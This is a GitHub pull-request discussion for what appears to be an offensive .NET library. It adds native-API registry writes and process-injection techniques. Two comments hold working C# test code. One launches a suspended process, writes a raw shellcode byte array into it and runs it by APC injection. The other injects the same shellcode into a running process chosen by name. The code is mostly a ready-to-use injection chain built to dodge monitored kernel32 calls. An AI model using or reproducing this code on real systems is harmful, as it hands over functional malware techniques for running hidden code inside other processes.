Skip to content

Conversation

@jfmaes
Copy link
Collaborator

@jfmaes jfmaes commented Nov 16, 2020

…ing kernel32.api and registry operations using the native ntdll functions.

…ing kernel32.api and registry operations using the native ntdll functions.
@jfmaes
Copy link
Collaborator Author

jfmaes commented Nov 16, 2020

here is some testcode :)
the end result would be a calc spawn and a new regkey in hkcu\software


using System;
using System.Security.Principal;
using System.Runtime.InteropServices;


namespace DInvoke
{
    class tests
    {
        public static void RegOps(String hive = "HKCU", String subKey = @"\SOFTWARE", String keyName = "", String keyValue = "")
        {
            try
            {
                if (hive == "HKLM")
                {
                    hive = @"\Registry\Machine";
                }
                else if (hive == "HKCU")
                {
                    String sid = WindowsIdentity.GetCurrent().User.ToString();
                    hive = @"\Registry\User\" + sid;
                }
                else
                {
                    throw new Exception("Hive needs to be either HKLM or HKCU");
                }
                String regKey = hive + subKey;
                IntPtr keyHandle = IntPtr.Zero;
                Data.Win32.WinNT.OBJECT_ATTRIBUTES oa = new Data.Win32.WinNT.OBJECT_ATTRIBUTES();
                Data.Native.UNICODE_STRING UC_RegKey = new Data.Native.UNICODE_STRING();
                string SID = WindowsIdentity.GetCurrent().User.ToString();
                DynamicInvoke.Native.RtlInitUnicodeString(ref UC_RegKey, regKey);
                IntPtr oaObjectName = Marshal.AllocHGlobal(Marshal.SizeOf(UC_RegKey));
                Marshal.StructureToPtr(UC_RegKey, oaObjectName, true);
                oa.Length = Marshal.SizeOf(oa);
                oa.Attributes = (uint)Data.Native.OBJ_ATTRIBUTES.CASE_INSENSITIVE;
                oa.objectName = oaObjectName;
                oa.SecurityDescriptor = IntPtr.Zero;
                oa.SecurityQualityOfService = IntPtr.Zero;
                Data.Native.NTSTATUS retValue = new Data.Native.NTSTATUS();
                retValue = DynamicInvoke.Native.NtOpenKey(ref keyHandle, Data.Win32.WinNT.ACCESS_MASK.KEY_ALL_ACCESS, ref oa);
                if (retValue == Data.Native.NTSTATUS.Success)
                {
                    String keyValueName = keyName;
                    String keyValueData = keyValue;
                    Data.Native.UNICODE_STRING UC_RegKeyValueName = new Data.Native.UNICODE_STRING();
                    Data.Native.UNICODE_STRING UC_RegKeyValueData = new Data.Native.UNICODE_STRING();
                    DynamicInvoke.Native.RtlInitUnicodeString(ref UC_RegKeyValueName, keyValueName);
                    DynamicInvoke.Native.RtlInitUnicodeString(ref UC_RegKeyValueData, keyValueData);
                    retValue = DynamicInvoke.Native.NtSetValueKey(keyHandle, ref UC_RegKeyValueName, 0, Data.Win32.WinNT.REGISTRY_TYPES.REG_SZ, UC_RegKeyValueData.Buffer, UC_RegKeyValueData.Length);
                    Marshal.FreeHGlobal(oa.objectName);
                    DynamicInvoke.Native.NtClose(ref keyHandle);
                }
                //retValue = DynamicInvoke.Native.NtSetValueKey(ref keyHandle);
                // Console.WriteLine(retValue);
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
            }
        }

        public static void InjectNewProcessCreateUserAPC(String process)
        {
            byte[] sc = new byte[112] {
        0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3
        };
            uint oldProtect = 0;
            bool success = false;
            String processPath = process;
            Data.Win32.ProcessThreadsAPI.STARTF si = new Data.Win32.ProcessThreadsAPI.STARTF();
            Data.Win32.ProcessThreadsAPI._PROCESS_INFORMATION pi = new Data.Win32.ProcessThreadsAPI._PROCESS_INFORMATION();
            success = DynamicInvoke.Win32.CreateProcess(processPath, null, IntPtr.Zero, IntPtr.Zero, false, Data.Win32.Advapi32.CREATION_FLAGS.CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);

            Console.WriteLine(pi.dwProcessId);
            IntPtr alloc = DynamicInvoke.Win32.VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)sc.Length, 0x1000 | 0x2000, 0x40);
            success = DynamicInvoke.Win32.WriteProcessMemory(pi.hProcess, alloc, sc, (uint)sc.Length, out UIntPtr bytesWritten);


            IntPtr tpointer = DynamicInvoke.Win32.OpenThread(Data.Win32.Kernel32.ThreadAccess.SetContext, false, (int)pi.dwThreadId);
            DynamicInvoke.Win32.VirtualProtectEx(pi.hProcess, alloc, sc.Length, 0x20, out oldProtect);
            DynamicInvoke.Win32.QueueUserAPC(alloc, tpointer, IntPtr.Zero);
            DynamicInvoke.Win32.ResumeThread(pi.hThread);
        }

        public static void Main(string[] args)
        {
            RegOps("HKCU", @"\Software", @"testkey", "hi");
            InjectNewProcessCreateUserAPC(@"C:\Windows\System32\notepad.exe");
        }
    }
}


bugfix on ntclose + added delegate and API signature for NtDeleteValueKey
added virtualallocex allocation technique
added queueuserapc execution technique
@jfmaes
Copy link
Collaborator Author

jfmaes commented Nov 28, 2020

added queueuserapc and virtualallocex to execution and allocation

public static void InjectAPITest(String process)
        {

            byte[] sc = new byte[112] {
        0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3
        };
            Injection.PayloadType payload = new Injection.PICPayload(sc);
            Injection.AllocationTechnique technique = new Injection.VirtualAllocEx();
            Injection.ExecutionTechnique execution = new Injection.QueueUserAPC();
            Process Process = null;
            try
            {
                Process = Process.GetProcessesByName(process)[0];
            }
            catch (Exception e)
            {
                Console.WriteLine("no such process is running,cannot inject into a non existing process.");
                return;
            }
            Injection.Injector.Inject(payload, technique, execution, Process);
        }

@TheWover TheWover added this to the 2.0 milestone Nov 30, 2020
@TheWover TheWover self-requested a review November 30, 2020 19:24
@TheWover TheWover added the enhancement New feature or request label Nov 30, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

enhancement New feature or request

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants